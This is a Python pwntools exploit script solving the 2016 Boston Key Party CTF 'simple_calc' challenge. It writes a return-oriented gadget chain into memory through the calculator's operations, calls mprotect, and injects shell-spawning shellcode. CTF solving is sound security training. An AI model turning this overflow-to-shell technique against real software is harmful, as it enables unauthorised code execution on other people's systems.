2016 Boston Key Party CTF simple_calc

solve_simple_calc.py

from pwn import *
import time, sys

p = process(["./simple_calc"])
log.info("PID : " + str(proc.pidof(p)[0]))
pause()
context.binary = "./simple_calc"
binary = ELF("./simple_calc")

p.recvuntil("calculations: ")
p.sendline("254")

global_add = 0x00000000006C4A80
"""
0x10 offset, add -> div -> mul -> sub
"""

def addf(x, y):
    p.recvuntil("=> ")
    p.sendline("1")
    p.recvuntil("x: ")
    p.sendline(str(x))
    p.recvuntil("y: ")
    p.sendline(str(y))

def subf(x, y):
    p.recvuntil("=> ")
    p.sendline("2")
    p.recvuntil("x: ")
    p.sendline(str(x))
    p.recvuntil("y: ")
    p.sendline(str(y))

def mulf(x, y):
    p.recvuntil("=> ")
    p.sendline("3")
    p.recvuntil("x: ")
    p.sendline(str(x))
    p.recvuntil("y: ")
    p.sendline(str(y))

def divf(x, y):
    p.recvuntil("=> ")
    p.sendline("4")
    p.recvuntil("x: ")
    p.sendline(str(x))
    p.recvuntil("y: ")
    p.sendline(str(y))

"""
0x10 offset, add -> div -> mul -> sub
"""
pop1rax = 0x000000000044db34        # pop rax; ret;
syscall = 0x00000000004648e5        # syscall; ret;
pop1rbx = 0x000000000040860d        # pop rbx; ret;
pop1rcx = 0x00000000004b8f17        # pop rcx; ret;
pop1rdx = 0x0000000000437a85        # pop rdx; ret;
pop1rdi = 0x0000000000401b73        # pop rdi; ret;
pop1rsi = 0x00000000004ac9b8        # pop rsi; ret;
mprotect = 0x435690
bss = 0x00000000006c3000

for i in xrange(0x10 - 4):
    addf(50, 50)

addf(0x6c4a90 + 0x10 - 40, 40)
for i in xrange(3):
    subf(100, 100)
for i in xrange(2):             # overwrite rbp
    addf(0x41414100, 0x41)

addf(pop1rax - 40, 40)
subf(100, 100)

subf(100, 100)
subf(100, 100)

addf(pop1rsi - 40, 40)
subf(100, 100)

addf(bss - 40, 40)
subf(100, 100)

addf(pop1rdi - 40, 40)
subf(100, 100)

subf(100, 100)
subf(100, 100)

addf(pop1rdx - 40, 40)
subf(100, 100)

addf(0x1000, 0x1000)
subf(100, 100)

addf(syscall - 40, 40)
subf(100, 100)

addf(pop1rax - 40, 40)
subf(100, 100)

subf(100, 41)       # 59 -> execve
subf(100, 100)

addf(pop1rdi - 40, 40)
subf(100, 100)

addf(bss - 40, 40)
subf(100, 100)

addf(pop1rsi - 40, 40)
subf(100, 100)

addf(0x1000, 0x1000)
subf(100, 100)

addf(pop1rdx - 40, 40)
subf(100, 100)

subf(100, 93)
subf(100, 100)

addf(mprotect - 40, 40)
subf(100, 100)

addf(bss - 40, 40)
subf(100, 100)

addf(0x30, 0x30)       # fake chunk 0x60
divf(0x900, 0x30)

p.sendline("5")
p.sendline(asm(shellcraft.sh()))

p.interactive()